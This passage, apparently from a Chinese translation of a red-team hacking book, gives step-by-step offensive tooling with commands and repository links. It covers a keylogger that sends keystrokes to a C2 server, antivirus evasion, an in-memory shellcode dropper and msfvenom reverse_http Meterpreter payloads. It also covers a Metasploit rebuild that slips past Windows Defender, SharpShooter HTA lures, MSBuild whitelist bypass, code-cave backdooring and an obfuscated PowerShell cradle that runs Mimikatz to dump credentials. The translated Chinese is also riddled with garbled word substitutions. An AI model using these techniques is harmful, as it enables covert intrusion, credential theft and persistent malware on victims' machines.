对于做事器端,可以在 C2 做事器的3490 端口上的启动 socat 侦听器,敕令启动:
socat:socat - TCP4-LISTEN:3490,fork
一朝启动监听器何况键盘记载器正在运行,你应该看到来自受害者主机的扫数敕令每 10 分钟被推送到你的 C2 做事器。 可以在此处找到键盘记载器的开动完整版块1:
https://github.com/cheetz/ceylogger/tree/master/version1 。
在编译 version_1.c 之前,请确保将 getaddrinfo 修改为当前的 C2 的IP 地址。编译代码:
应该提到的临了一个函数是 thread_func 函数。thread_func 调用函数 get_time 来获取当前系统的分钟。然后检讨该值是否可被 5 整除,因为该器具每隔 5 分钟发送一次键盘记载文献。如果它可以被 5 整除,它会成立 socket 并尝试结合到 C2 做事器。如果结合得胜,它将发送文献并运行清算土产货文献。然后轮回就寝 59 秒。需要睡眠功能的原因是因为这一切皆在一个固定的轮回中运行,这意味着该函数将在几秒钟内获取期间,开动化结合,完成结合和发送文献。如果莫得 59 秒的就寝期间,该范例最终可能会在 1 分钟的期间间隔内发送文献几十次。就寝功能允许轮回恭候弥散长的期间以便切换到下一分钟,因此每 5 分钟仅发送一次文献。
污染有数百种不同的方法来实行污染。固然本章不可全部逐一讲述,但我想为你提供一些基本的技巧和念念路来科罚绕过杀毒软件的问题。
你可能也曾知说念,杀毒软件会查找特定的字符串。可用于绕过杀毒软件的最简单方法之一是创建一个简单的旋转密码并出动字符串的字符。鄙人面的代码中,有一个解密函数,可以将扫数字符串出动 6 个字符(ROT6)。这会导致杀毒软件可能无法检测到特征码。在范例最先时,代码将调用解密函数来获取字符串数组并将它们复返到底本的时势。解密函数如下所示:
你可以在此处的范例版块2中看到此示例:https://github.com/cheetz/ceylogger/tree/master/version2 。
另一种可以用来走避杀毒软件的方法是使用函数指针调用 User32.dll 中的函数,而不是顺利调用函数。为此,首先编写一个函数界说,然后使用 Windows 系统的 GetProcAddress 函数找到要调用的函数的地址,临了将函数界说指针指定给从 GetProcAddress 给与的地址。可以在此处找到如何使用函数指针调用 SetWindowsHookEx 函数的示例:https://github.com/cheetz/ceylogger/blob/master/version3/version_3.c#L197-L241 。
该范例的第 3 版块将前一个示例中的字符串加密与使用指针调用函数的方法相会聚。趣味趣味的是,如果你将已编译的二进制文献提交到 VirusTotal(病毒检测网站),你将不再在导入部分中看到 User32.dll。鄙人面的图片中,左侧图像是版块1的检测结果,右侧图像是带有调用指针的版块3的检测结果 。
你可以在以下网址找到版块3的完整源代码:https://github.com/cheetz/ceylogger/tree/master/version3 。
为清爽解你是否已得胜散失杀毒软件,最好遴荐是长久针对实时杀毒软件系统进行测试。在真实宇宙的入侵行径中,我不建议使用 VirusTotal 网站,因为你的病毒样本可能会发送给不同的杀毒软件厂商。然则,它相称适合测试或者学习。对于咱们的 payload,以下是 VirusTotal 比较:
对于版块1,32位,21/66(21家检测出),触发杀毒软件:
https://www.virustotal.com/#/file/4f7e3e32f50171fa527cd1e53d33cc08ab85e7a945cf0c0fcc978ea62a44a62d/detection对于版块3,32位,14/69(14家检测出),触发杀毒软件:
https://www.virustotal.com/#/file/8032c4fe2a59571daa83b6e2db09ff2eba66fd299633b173b6e372fe762255b7/detection临了,如果咱们将版块3编译为 64 位的 payload,咱们得到 1/69(只是一家检测出)!:
https://www.virustotal.com/#/file/e13d0e84fa8320e310537c7fdc4619170bfdb20214baaee13daad90a175c13c0/detection译者注:根据上头的贯穿,译者点进去看了每一个数据,但是发现数据皆有所更新,是以把上头的内容修改为和贯穿到的内容一致的最新数据。但是底下的图片是书上的原图,是以是老的逾期的数据。底下的图片是说,将版块3编译为 64 位的 payload,得到 0/66(无一家一家检测出)的结果,但是现在也曾是 1/69,也即是 69 个杀软种有一个可以检测出病毒。
实验:
下一步咱们还可以作念什么呢?有无尽种可能!可以作念一些小的优化比如对 log.txt 内容进行恶浊/加密,或者在范例启动后启动加密套接字,然后将得到击键权限顺利写入该套接字。在给与方,做事器将重建数据流并将其写入文献。 这将阻滞日记数据以纯文本时势夸耀,就像当前一样,何况还可以防止在硬盘中留住更多的文献印迹。
如果你想作念一些大的改进,那么你可以将可实行文献蜕变为 DLL,然后将 DLL 注入正在运行的程度。这样可以防止程度信息夸耀在职务料理器中。固然有一些范例可以夸耀系统中扫数当前加载的 DLL,但注入 DLL 会愈加躲避。此外,有些范例可以反射性地从内存加载 DLL 而压根不在磁盘中留住印迹(无文献),从而进一步缩短了被取证的风险。
本书定制的挂钩病毒(Dropper)Dropper(挂钩病毒)是红队器具包的要紧构成部分,允许你在不把范例放在受害者策动机磁盘上的情况下运行你植入的范例。不将你的植入范例保存在磁盘上会缩短它们被发现的风险,从而可以供你屡次使用开展责任。在本章中,咱们将先容本书定制开发的一个 dropper,它可以导入 shellcode 或仅驻留在内存中的 DLL 。
在设想 dropper 和相应的做事器时,你需要记着一些事项。dropper 的目的是成为你的火器库中的一件用完就糟跶的火器,这意味着你必须假设以当前时势使用它将触发进一步行径中的检测。
为了使后续的入侵行径更容易,你需要开发一个可以重迭使用的圭臬做事器。在该示例中,你将看到一个基本的辘集杀青,它允许为不同的音尘注册新的处理范例(handler)。固然此示例仅包含 LOAD_BLOB 音尘类型的处理范例,但你可以缩小添加新处理范例以扩张功能。这样就可以搭建细密的底层架构,因为你的扫数通讯皆已圭臬化。
编写 dropper 或其他任何你但愿快速找到并进行对其逆向的东西的时候,有个很要紧方法即是要清算你的文本字符串。当你第一次构建软件时,随机你运说念好、调试音尘夸耀得胜,这使你无需手动单步实行调试器以稽查为什么会出现问题。但是,如果特定的文本字符串在最终版块中被不测地留传住来,将使病毒分析师很容易就可以逆向你的坏心软件。许多时候,反病毒会针对一个唯一无二的特定字符串或一个常量值签名。在示例中,我使用 InfoLog() 和 ErrorLog(),它们的预处理器将在发布版块上编译。使用那些宏,通过检讨是否界说了_DEBUG,将指示是否包含联系调用。
本书定制 Dropper 代码:https://github.com/cheetz/thpDropper.git
Shellcode 与 DLL在以下示例中,你可以让 dropper 加载完整的 DLL 或 shellcode。日常对于许多全球植入文献,你可以生成一个完整的 DLL,它将下载 DLL 然后反射 DLL。让你的 dropper 顺利加载 DLL 将使你无需再进行更多的 API 调用,从而保持更好的躲避性。由于 header 被修改,某些植入文献可能无法正确加载。如果你的一个植入文献不可正常责任何况包含一种生成 shellcode 的方法,那么这应该可以科罚你的问题。这是因为它们的自界说加载器日常用于确立 header 并从 DLL 加载它。
在网上也可以找到许多可以用的 shellcode,像 shell-storm.org 这样的网站会保存为特定目的而编写的 shellcode 归档,其中一些可能会为你的入侵行径派上用场。
运行做事器构建做事器很简单。 在本书自界说的 Kali 镜像上,你需要运行以下敕令:
对于初度编译:
cd /opt/ sudo apt-get install build-essential libssl-dev cmake git git clone https://github.com/cheetz/thpDropper.git cd thpDropper/thpd mkdir build cd build cmake .. make对于后续编译,你需要作念的即是:
cd /opt/thpd/build make要运行做事器,在编译它之后,你需要输入:
./thpd [path to shellcode/DLL] [loadtype]以下值当前对加载类型有用:
固然这些 payload(shellcode / DLL)可能是来自任何类型的 C2 器具(Metasploit/Meterpreter,Cobalt Strike 等),但是咱们在示例中只是使用一个 Meterpreter payload。
生成一个 payload :
对于 Shellcode payload :
msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=<Your_IP> LPORT=<PORT> EnableStageEncoding=True -f c 珍爱,你必须使用 msfvenom 的输出,何况只是使用原始的汇编 shellcode(删除引号、新行和任何非 shellcode 的内容)。 启动做事器:./thpd ./shellcode.txt 0对于 DLL payload :
msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=<Your_IP> LPORT=<PORT> EnableStageEncoding=True -f dll > msf.dll 启动做事器: ./thpd ./msf.dll 1 客户端客户端以与做事器近似的方式运行,其中它为每种音尘类型注册了一个处理范例(handler)。在启动时,它将尝试回调做事器,如果无法结合或一朝断开结合则重试 n 次,并发送音尘要求加载 blob 对象。做事器将使用 BLOB_PACKET 进行响应,客户端将通过 head--> msg 字段识别并分配该 BLOB_PACKET。扫数数据包必须在最先时界说 HEAD_PACKET 字段,不然辘集处理范例将无法识别它,并将其丢弃。 使用 BuildPacketAndSend() 函数将正确成立头数据包,允许另一方解码它。
要构建客户端,你需要使用 Visual Studio 和 Git 。 首先将 Git 仓库( https://github.com/cheetz/thpDropper.git )克隆到一个文献夹中,然后在 Visual Studio 中打开 thpDropper.sln。确保为代码成立了正确的体绑缚构,如果你不需要任何调试信息,请将编译模式成立为build for release。完成此操作后,按 F7 键(编译快捷键),Visual Studio 会为你生成可实行文献。
建立客户端和做事器在 globals.cpp 文献中可以稽查大多数客户端的建立,你想要变调的三个主要建立成立是主机名、端口和数据包期间间隔。每个成立旁皆有详实的扫视,告诉你它们是什么。固然你不需要变调数据包签名,但我如故得说一下:变调数据包签名将修改发送的每个数据包的前 2 个字节,用于符号它是做事器上的有用结合。如果你但愿对 IP 和端口进行恶浊处理,则可以编写代码以在拜谒它们时对其进行解密,并仅将加密版块存储在二进制文献中。
在做事器端,在 main.cpp 文献中,你可以修改做事器正在监听的端口。此建立在 main 函数中作为 StartupNetworking() 的唯一参数。如果你决定变调客户端中的数据包签名,则需要修改做事器以反应该数据包。这意味着在 include/lib/networking.h 文献中,PACKET_SIGNATURE 值要与客户端中的全局变量相匹配。
添加新的处理范例成立辘集代码库可以允许你缩小地添加新功能。为此,你需要使用客户端上的 void name() 原型或做事器上的 void name(int conn) 原型来创建一个回调函数。这些将被注册到你的音尘类型的处理范例数组,何况在考证头数据包时调用它们。在这些函数中,你必须从 recv 缓冲区中读取包和联统统据。你需要调用 recv() 来指向数据包结构上的指针,以及该数据包的大小。这将提供对于需要从 recv 缓冲区中拉取几许数据的信息。在这个例子中,你将看到咱们在处理范例中读取 BLOB_PACKET ,然后使用存储在 packet.payloadLen 中的值来指示咱们需要进一步读取的字节数。相通的旨趣可以应用于其他的数据类型。如果要将包含文献旅途的字符串发送到受害者策动机上的某个文献,你需要在处理范例的数据包中成立一个字段,用于神态字符串的长度,你将在发送完数据包之后发送该字符串。
进一步熟练固然此代码库也曾可以为你的责任提供一个可靠的基础,但你仍然可以通过多种方式自行改进。比较顺利的念念路是在传输层上加一个简单的加密层。你可能但愿创建我方的 send 和 recv 包装器,用于在调用 send 和 recv 函数之前进行解密/加密。一种相称简单的杀青方法是使用多字节异或密钥,固然不是很安全,但至少会充分的改变你的音尘,使之不易识别。另一个可能的念念路是扩张 LoadBlobHandler() 函数,使之具有新的 LOAD_TYPE。使用这种新 LOAD_TYPE 的话,如果客户端以料理员身份运行,就会加载已签名的驱动范例。这可以通过使用 CreateService() 和 StartService() 这两个 Windows API 调用来完成。但是需要记着加载驱动范例需要它在磁盘上,这将触发文献系统的袖珍过滤器驱动范例来获取它。
重新编译 Metasploit/Meterpreter 以绕过杀毒软件和辘集检测我真的很想谈谈这个话题。但请珍爱,这将会有一些超前,是以你很可能在编译期间遭遇一些问题。有许多很棒的器具,比如 Metasploit / Meterpreter,但是每个防病毒和辘集入侵检测(NID)器具皆为它开发了签名。咱们可以尝试使用 Shikata Ga Nai 来污染通过 HTTPS 传输的 payload,但也仅此良友。任何类型的污染日常皆会有一个检测的存根签名,杀毒软件会检讨内存,稽查特定某些位置的特殊字符串。辘集流量可以通过 HTTPS 实行中间东说念主检讨。那么咱们怎样能力陆续使用咱们可爱的器具,同期绕过扫数常见的保护措施呢?让咱们以 Metasploit/Meterpreter 为例,望望咱们如何绕过扫数这些阻碍。咱们的宗旨是处理和科罚二进制文献的杀毒软件签名(静态特征),内存运行中的特征和辘集流量特征。
为了躲避扫数这些检测方法,咱们需要作念一些事情。首先,咱们需要修改 Meterpreter 的 payload,以确保不会在辘集和内存中使用签名缩小检测到它们。其次,咱们修改 metsvc 持久性模块以防止它标记反病毒。第三,咱们用 Clang 编译部分 metsrv(现实的 Meterpreter payload),以防止它也标记反病毒签名。临了,咱们将编写我方的 stage0 payload,下载并实行 Meterpreter,以绕过扫数的反病毒。
使用 Clang 编译 metsrv( Meterpreter 的辘集做事包装器)并删除 metsrv/metsvc-server 援用:
修改Payload,删除像 Mimikatz这样的字符串:
修改反射 DLL 注入以删除像 ReflectiveLoader 这样的字符串:
许多辘集居品会检测 Meterpreter 的0/1/2级加载器。除了污染咱们的 payload,咱们还可以污染现实的 shellcode。一个例子是遍历扫数 Ruby 文献以获取不同的 payload 类型,并添加随机空指示滑行区(nop sled)以幸免被检测到:
译者注:一个空指示雪橇(NOP sled)(也被称为空指示滑行区)是在 shellcode 之前的一段很长的指示序列。参考尊府: 空指示雪橇
自界说 Stage0 payload:
实验:
在本实验中,咱们将采取扫数咱们修自新的 Metasploit/Meterpreter 代码,重新编译它,并确保它可以躲避基本的杀毒软件检测。
在最先之前,请稽查搭建 Metasploit 的环境成立:
https://github.com/rapid7/metasploit-payloads/tree/master/c/meterpreter https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-EnvironmentWindows 要求:
Visual Studio 2013(VS2013)—— 社区版就行。需要随安设时一并安设 C/C++。 LLVM 32位 Windows版块(一定要在安设完 VS 之后再安设 LLVM 而且一定要安设 LLVM 器具链) —— 在此地址下载 LLVM 6。 Windows 版块的 GNU make 器具范例 —— 确保它位于你的旅途中,或者从它的可用的已安设旅途运行它。 Git-SCM 如安在 Windows 上构建(build) Metasploit/Meterpreter:首先拉取扫数的 cyberspacekitten 仓库。这些文献也曾针对你的实验进行了多数修改来作为 POC。然后咱们需要下载框架和扫数 payload:
git clone https://github.com/cyberspacekittens/metasploit-framework cd metasploit-framework && git submodule init && git submodule update && cd .. git clone https://github.com/cyberspacekittens/metasploit-payloads cd metasploit-payloads && git submodule init && git submodule update && cd ..固然咱们也曾对仓库作念了包括修改字符串、用 clang 编译和为 payload 添加随机空指示滑行区等这些变调,但请务必检讨这两个仓库之间的 Metasploit 互异,以明确具体的变调内容。
编译 Metasploit/Meterpreter:咱们要作念的第一件事情是重新编译咱们变调后的 metsvc 和 metsvc-server。在 Visual Studio 2013 的开发者敕令教唆符 VS2013(Command Prompt for VS2013)中实行以下操作:
转到咱们修改的 metsvc 的源码所在的文献夹: cd metasploit-framework\external\source\metsvc\src 使用 make 进行编译: “C:\Program Files (x86)\GnuWin32\bin\make.exe”将咱们新创建的二进制文献移到咱们的 meterpreter 文献夹:
copy metsvc.exe ........\data\meterpreter\ copy metsvc-server.exe ........\data\meterpreter\接下来,修改咱们的 Meterpreter payload 并使用提供的 .bat 文献对其进行编译:
cd metasploit-payloads\c\meterpreter make.bat编译完扫数内容后,将生成两个文献夹(x86 和 x64)。将扫数已编译的 DLL 复制到 meterpreter 文献夹:
copy metasploit-payloads\c\meterpreter\output\x86* metasploit-framework\data\meterpreter copy metasploit-payloads\c\meterpreter\output\x64* metasploit-framework\data\meterpreter临了即是要放到做事器上了。咱们现在可以将通盘 metasploit-framework 文献夹放到你的 Kali 系统上并启动 HTTPS 反向处理范例(windows/x64/meterpreter/reverse_https)。
创建一个修改后的 Stage 0 Payload咱们需要作念的临了一件事是创建一个 Stage 0 payload 来让咱们的开动可实行文献绕过扫数杀毒软件检测。Meterpreter 中的 stage 0 payload 是任何缺点利用或 payload 的第一阶段。 stage 0 payload 是一段代码,它杀青了一个简单的功能:以咱们想要的方式(reverse_https,reverse_tcp,bind_tcp 等)进行结合或者监听,然后给与一个 metsrv.dll 文献。它随后将此文献加载到内存中,然后实行它。从现实上讲,任何 Stage 0 payload 皆只是一个好意思化的“下载并实行” payload,因为这即是扫数的 Metasploit 运行的方式,是以在许多反病毒科罚决议中皆有针对 Metasploit 特定行动的高等签名和启发式分析——哪怕修改 shellcode 并添加花指示也仍然会因启发式分析而被标记为坏心。为了科罚这个问题,咱们编写了我方的 Stage 0,它实行相通的功能(在内存中下载和实行):咱们复制 Meterpreter 的 reverse_https payload 的下载调用,从做事器获取 metsrv.dll,然后将其注入到内存中并实行它。
译者注:
在 metasploit 里面,payload 简单可以分为三类:single,stager,stage。 single:杀青单一、完整功能的 payload,比如说 bind_tcp 这样的功能。 stager 和 stage 就像 web 入侵里面提到的小马和大马一样。由于 exploit 环境的限定,可能不可一下子把 stage 传往常,需要先传一个 stager,stager 在攻击者和攻击宗旨之间建立辘集结合,之后再把 stage 传往常进行下一步的行动。Reflective DLL Injection 即是作为一个 stage 存在。也即是说,你也曾有了和攻击宗旨之间的结合会话,你可以传送数据到攻击宗旨上,之后 meterpreter 与 target 之间的交互就皆是和发送往常的反射 dll 进行交互。参考尊府: Meterpreter 载荷实行旨趣分析
对于 stage 0 了解更多: 探寻 Metasploit Payload 模式背后的奥密这里提供的 payload 具体示例具有一些更高等的功能。这样作念是为了使它成为地址无关代码(PIC),何况不需要导入。这段代码是基于 thealpiste 的代码开发的 ( https://github.com/thealpiste/C_ReverseHTTPS_Shellcode )。
提供的示例 payload 实行以下操作:
扫数代码皆在内存中定位 DLL 和函数以便实行;无需导入任何模块。这是通过手动为扫数使用的函数打桩,然后在内存中搜索它们来杀青的。 使用 Wininet 将现实的 HTTPS 央求实行回建立的 Metasploit 处理范例。 给与 metsrv.dll,并实行 blob 数据。Metasploit 为这些文献提供做事的方式,意味着进口点是缓冲区的伊始。这个功能是与实行 msfvenom 中构建的 payload 完全相通的过程。然则,msfvenom 以一种容易被预测和检测到的方式将这些添加到模板可实行范例中,何况这种方式是不可建立的。因此,大多数杀毒软件一直可以识别到它们。但是,只是需要一丝编码技巧,你就可以重新编写这个 payload 的功能。重写的 payload 很小,何况可以绕过当前存在的任何检测。在撰写本文时,也曾测得此 payload 可以绕过扫数杀毒软件,包括 Windows Defender。
创建 payload(完整的 payload 位于这里):
在 VS 2013中,打开 metasploit-payloads\c\x64_defender_bypass\x64_defender_bypass.vcxproj 在 x64_defender_bypass 下有一个 settings.h 文献。打开此文献并将 HOST 和 PORT 信息修改为你的 Meterpreter 处理范例(handler)信息。 确保将构建模式成立为 Release 并编译 x64 保存并构建 在 metasploit-payloads\c\x64_defender_bypass\x64\Release 下,将创建一个新的二进制文献 x64_defender_bypass.exe。在运行了 Windows Defender 的受害策动机上实行此 payload。当此式样构建得胜,Windows Defender 不可检测到这个 payload。你现在领有一个深度污染过的 Meterpreter 二进制文献和污染过的传输层,以绕过扫数默许的保护。现在这只是是一个让你初学的 POC。只须本书一发布,我可以预感到其中一些时代不久就会被检测出签名。你还可以采取更多措施来更好地躲避检测器具。举例,你可以:
使用 clang 污染器具链来构建 对扫数字符串使用字符串加密库 变调 Meterpreter 进口点(面前是 Init ) 创建一个自动化剧本,为扫数 payload 类型添加空指示(nops) 裁剪 payload 生成的现实 ruby,以便在每次运行时随机化 payload SharpShooter作为红队队员,最耗时的事情之一即是创建可以躲避新一代杀毒软件和沙盒安全机制的 payload。咱们一直在寻找新的方法来创建咱们的开动 stager。一个名为 SharpShooter 的器具采取了许多反沙盒时代和 James Forshaw 的 DotNetToJScript 来实行 Windows 剧本时势的 shellcode(CACTUSTORCH器具—— https://github.com/mdsecactivebreach/CACTUSTORCH )。
摘自 MDSec 网站对于 SharpShooter 的神态:“SharpShooter 接济 staged 和 stageless 这两种类型 payload 的实行。staged 实行可以在 HTTP/HTTPSS、DNS 或 HTTP/HTTPS 与 DNS 相会聚等这些情况下进行。当一个 staged payload 实行时,它将尝试检索也曾压缩的 C# 源代码文献,之后使用所选的传输时代进行 base64 编码。随后在主机上使用 .NET CodeDom 动态编译器对 C# 源代码进行下载和编译。然后使用反射从源代码实行所需的方法。”
让咱们快速把一个示例走一遍:
python SharpShooter.py --interactive 1 - For .NET v2 Y - Staged Payload 1 - HTA Payload 可以遴荐使用以下防沙盒时代: 你可以遴荐你想用的时代来绕过沙盒机制从而得胜的实行你的坏心软件。 [1] Key to Domain [2] 确保 Domain 加入 [3] 检讨沙盒印迹 [4] 检讨造作的 MAC 地址 [5] 检讨调试 1 - 辘集传输 Y - 内置 shellcode 模板 shellcode 作为一个字节数组 打开一个新结尾并创建一个 C# 语言的 Meterpreter payload msfvenom -a x86 -p windows/meterpreter/reverse_http LHOST=10.100.100.9 LPORT=8080 EnableStageEncoding=True StageEncoder=x86/shikata_ga_nai -f csharp 复制 { 和 } 之间的扫数内容并作为字节数组提交 为 C# 辘集传输提供 URI 输入攻击者机器的IP/端口和文献。示例: 提供输出文献的文献名 坏心软件 Y - 你想将 payload 镶嵌到 HTML 文献中吗? 使用自界说(1)或预界说(2)模板 要进行测试,请遴荐轻易预界说模板 将新创建的坏心文献出动到你的 Web 目次下 mv output/* /var/www/html/ 为你的 payload 建立一个 Meterpreter 处理范例(handler)建立和开发了坏心软件后,将其移至 Web 目次(malware.hta,malware.html,malware.payload),启动 apache2 做事,然后启动你的 Meterpreter 处理范例。你现在也曾作念好准备,通过诱导受害者拜谒你的坏心站点来对其发动社会工程学攻击!下图中给出的示例是 Sharpshooter 的 SharePoint 在线模板。当受害者使用 IE/Edge 浏览器拜谒你的坏心网页时,HTA 会自动下载并教唆运行。一朝夸耀了教唆并遴荐运行的话,stager payload 就会运行,下载辅助 payload(称心沙箱控件的情况下),并在内存中实行咱们的 Meterpreter payload。
补充信息:
https://www.mdsec.co.uk/2018/03/payload-generation-using-sharpshooter/ https://github.com/mdsecactivebreach/SharpShooter 应用范例白名单绕过咱们也曾磋磨了在不运行 PowerShell 代码的情况下触发 PowerShell 的不同方法,但如果你无法在 Windows 系统上运行自界说二进制文献,该若何办?“应用绕过”的主张即是查找可以实行咱们 payload 的默许 Windows 二进制文献。咱们一直受限于一些环境身分比如域控(DC)的锁定机制,只可进行有限的代码实行。咱们可以使用一些不同的 Windows 文献来绕过这些限定,让咱们来望望它们中的几个。
一个日常被磋磨的可以用于绕过应用白名单的 Windows 二进制文献是 MSBuild.exe。什么是 MSBuild.exe,它有什么作用? MSBuild 是 .NET 框架中的一个默许应用,它是使用 XML 时势的式样文献构建 .NET 应用范例的平台。咱们可以对 MSBuild 使用 XML 式样文献时势这个本性进行利用,咱们可以使用名为 GreatSCT 的器具创建咱们我方的坏心 XML 式样文献来实行 Meterpreter 会话,从而利用此本性。
GreatSCT 有咱们可以使用的多样应用白名单绕过的方式,但咱们只将先容 MSBuild。在此示例中,咱们将创建一个托管 reverse_http Meterpreter 会话的坏心 XML 文献。这将要求咱们将 XML 文献写入受害系统并使用 MSBuild 来实行该 XML 文献:
git clone https://github.com/GreatSCT/GreatSCT.git /opt/ cd /opt/GreatSCT python3 ./gr8sct.py [4] MSBUILD/msbuild.cfg 填写你的主机IP[0]和端口[1] 生成 使用 Metasploit 创建一个新的 windows/meterpreter/reverse_http 的监听器在咱们的 Kali 实例中,咱们使用 GreatSCT 来创建 shellcode.xml 文献,该文献包含构建信息和一个 Meterpreter 反向 http shell。需要将此文献出动到受害系统并使用 MSBuild 进行调用。
*珍爱:我不雅察到 GreatSCT 式样正在 develop 分支上进行活跃的开发,其中包括 https Meterpreter 和其他应用范例白名单绕过敕令实行。我猜想在本书发布之前,就会被合并到 master 分支。
在 Windows 受害者策动机上实行文献调用后,使用 C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe shellcode.xml 敕令,.NET 将最先构建 shellcode.xml 文献。在此过程中,将在受害者策动机上生成一个反向 http Meterpreter 会话来绕过任何应用程白名单。你可能但愿裁剪 shellcode.xml 文献以插入经过污染的 payload,因为 Meterpreter 默许的 payload 很可能会触发杀毒软件。
可以使用许多种不同的方法来进行应用范例白名单绕过,光这一部老实容就足以写成一册书。以下是一些额外的尊府:
使用 Windows 默许可实行文献的多数示例: https://github.com/api0cradle/UltimateAppLockerByPassList 使用 REGSRV32 和 PowerShell Empire: https://www.blackhillsinfosec.com/evade-application-whitelisting-using-regsvr32/ 通过 Excel.Application 的 RegisterXLL() 方法实行 DLL: https://rileykidd.com/2017/08/03/application-whitelist-bypass-using-XLL-and-embedded-shellcode/ 利用 INF-SCT 获取并实行绕过、躲避查杀和持久化时代: https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/ 利用 Regsvr32 绕过 Applocker: https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/ 代码洞(Code Caves)与任何红队行动一样,咱们一直在寻找创造性的方式在环境中横向出动或保持持久性。日常,如果咱们有凭证,咱们会尝试使用 WMI 或 PSExec 在长途系统上实行 payload。有些时候,咱们需要找到创造性的方式在环境中出动而不被温情追踪。
作为红队队员,被收拢并不是入侵行动中可能发生的最糟糕的事情。最糟糕的事情是当咱们被收拢何况蓝队发现了属于该行动的每个域、IP 和受感染的主机。蓝队东说念主员日常很容易就能检测到 WMI、PSexec 的结合特征来判定内网有横向出动,因为它并不老是被视为正常流量。那么咱们可以作念些什么来躲避咱们的横向出动呢?
这是咱们可以弘扬创造性的地方,莫得圭臬谜底(如果某种方法有用,那对我来说就够好了)。一朝进入一个环境,我最可爱作念的事情之一即是发现公开分享和主动分享/实行的文献。咱们可以尝试将宏添加到 Office 文献中,但这似乎太显豁了。一种日常不太容易被检测出何况得胜率高的攻击是将咱们的自界说坏心软件镶嵌可实行二进制文献中。这可以是像 putty 这样的分享二进制文献,一个内网环境中常见的胖客户端应用范例,以致是数据库器具。
固然不再爱戴,但实行这些攻击最简单的器具之一是 Backdoor factory。Backdoor factory 会在真实范例中查找代码洞或空块,攻击者可以在其中注入我方的坏心 shellcode。上本书中涵盖了这一丝,其念念路保持不变。
可以在此处找到这两个资源:
https://haiderm.com/fully-undetectable-backdooring-pe-file/#Code_Caves https://www.abatchy.com/2017/05/introduction-to-manual-backdooring_24.html译者注:教会证,上两个贯穿皆也曾404了。但是译者如故马虎的找到了不同网址同内容的替代资源。对于第一个网址贯穿的著述,可以在土产货址阅读该英文著述来稽查 Code Caves 这一部分。对于第二篇著述,险些皆404了。但是我找到了此文的出处:Introduction-To-Manual-Backdooring 这本电子书。需要的自取。
PowerShell 污染PowerShell Scripts 当前的问题是,如果你将它们放到磁盘上,许多防病毒器具皆会把它们检测出来。即使你将它们导入内存,稽查内存的杀毒软件器具有时也会对它们发出警报。
岂论如何,如果你从 Cobalt Strike、Meterpreter 或 PowerShell Empire 将它们导入内存,确保咱们不会被杀毒软件检测出来口舌常要紧的。万一被检测出来的话,咱们至少应该让济急响应团队或取证团队很难去逆向咱们的攻击 payload。
咱们皆看过像这样的 PowerShell 敕令:
这是咱们可能看到的最基本的 powershell 调用指示的字符串组合,可以用于绕过实行策略,来以躲避窗口的模式(后台运行无弹窗)自动下载和实行 powershell payload。对于蓝队,咱们也曾看到了许多对于这些特定参数的日记记载,比如 -Exec Bypass。因此,咱们最先通过一些常见的 PowerShell 语法来污染此参数:
-ExecutionPolicy Bypass -EP Bypass -Exec Bypass -Execution Bypass感谢 Daniel Bohannon 的提醒!他提醒说:更猖獗的是,咱们现实上不需要打出完整的参数字符串就能使它责任。举例,对于 -ExecutionPolicy Bypass,扫数下列示例皆可以成效:
-ExecutionPolicy Bypass -ExecutionPol Bypass -Executio Bypass -Exec Bypass -Ex Bypass这些时代也相似适用于 WindowStyle 以致 EncodedCommand 参数。天然,这些技巧不足以撑持咱们走得更远,咱们还需要创建更多的污染变换。首先,咱们可以使用一个相称简单的示例来实行咱们的长途 PowerShell 剧本(在本例中为 Mimikatz)并使用以料理员身份运行的 PowerShell 教唆符来转储哈希值:
Invoke-Expression (New-Object Net.WebClient).DownloadString(‘’); Invoke-Mimikatz -DumpCreds译者注:
WindowStyle 和 EncodedCommand 是 PowerShell.exe 的选项参数。WindowStyle 可以改变 CMD 窗口的格调,将窗口花式成立为 Normal、Minimized、Maximized 或 Hidden。EncodedCommand 是接受 base-64 编码字符串版块的敕令。使用此参数向 Windows PowerShell 提交需要复杂引号或大括号的敕令。欲知更多参数,可以在 Windows Powershell 里面使用 powershell -help 敕令稽查。 Invoke-Expression 能将任何的字符串行动PowerShell剧底本实行。以下附上对于 Invoke-Expression 的更多参考尊府: Invoke-Expression Invoke-Expression 匡助信息通过 Invoke-Obfuscation 污染框架,咱们可以使用以下几种不同的时代对这个字符串进行深度污染:
在 Windows 上,下载用于 Invoke-Obfuscation 的 PowerShell 文献( https://github.com/danielbohannon/Invoke-Obfuscation ) 加载 PowerShell 剧本并启动 Invoke-Obfuscation Import-Module ./Invoke-Obfuscation.psd1 Invoke-Obfuscation 成立要污染的 PowerShell 剧本。在这个例子中,咱们将污染上头的 Mimikatz 哈希值下载转储剧本 SET SCRIPTBLOCK Invoke-Expression (New-Object Net.WebClient).DownloadString(‘’); Invoke-Mimikatz -DumpCreds 对 payload 进行编码 ENCODING 在这个例子中,我遴荐了 SecureString(AES),但你可以把扫数这些污染时代皆试一试。污染后的字符串包含一个随机生成的密钥和一个加密的安全字符串。在料理员权限下运行 PowerShell,咱们仍然可以实行完整的 payload。
咱们也可以回到主屏幕并创建污染的 launcher:
main launcher CLIP++ 遴荐你的实行 flag更棒的是,稽查 Windows PowerShell 日记咱们会发现,如果剧本是污染的,日记中也只是是记载了污染后的东西。这个本性可以匡助咱们躲避杀毒软件和 SEIM 警报器具。
除了 Invoke-Obfuscation 之外,Daniel 还创建了一个名为 Invoke-CradleCrafter 的器具,该器具专注于长途下载 cradle,是一个 PowerShell 2.0+ 版块兼容的 PowerShell 长途下载 cradle 生成器和污染器。Invoke-CradleCrafter 的 github README 文档中先容说,“Invoke-CradleCrafter 的存在是为了匡助蓝队和红队缩小探索、生成和污染 PowerShell 长途下载 cradle。此外,它可以匡助蓝队测试环境检测的有用性。Invoke-CradleCrafter 可以检测 Invoke-Obfuscation 产生的输出,但是在处理 Invoke-CradleCrafter 时可能会失败,因为它不包含任何字符串拼接、编码、复选标记、类型蜕变等”。
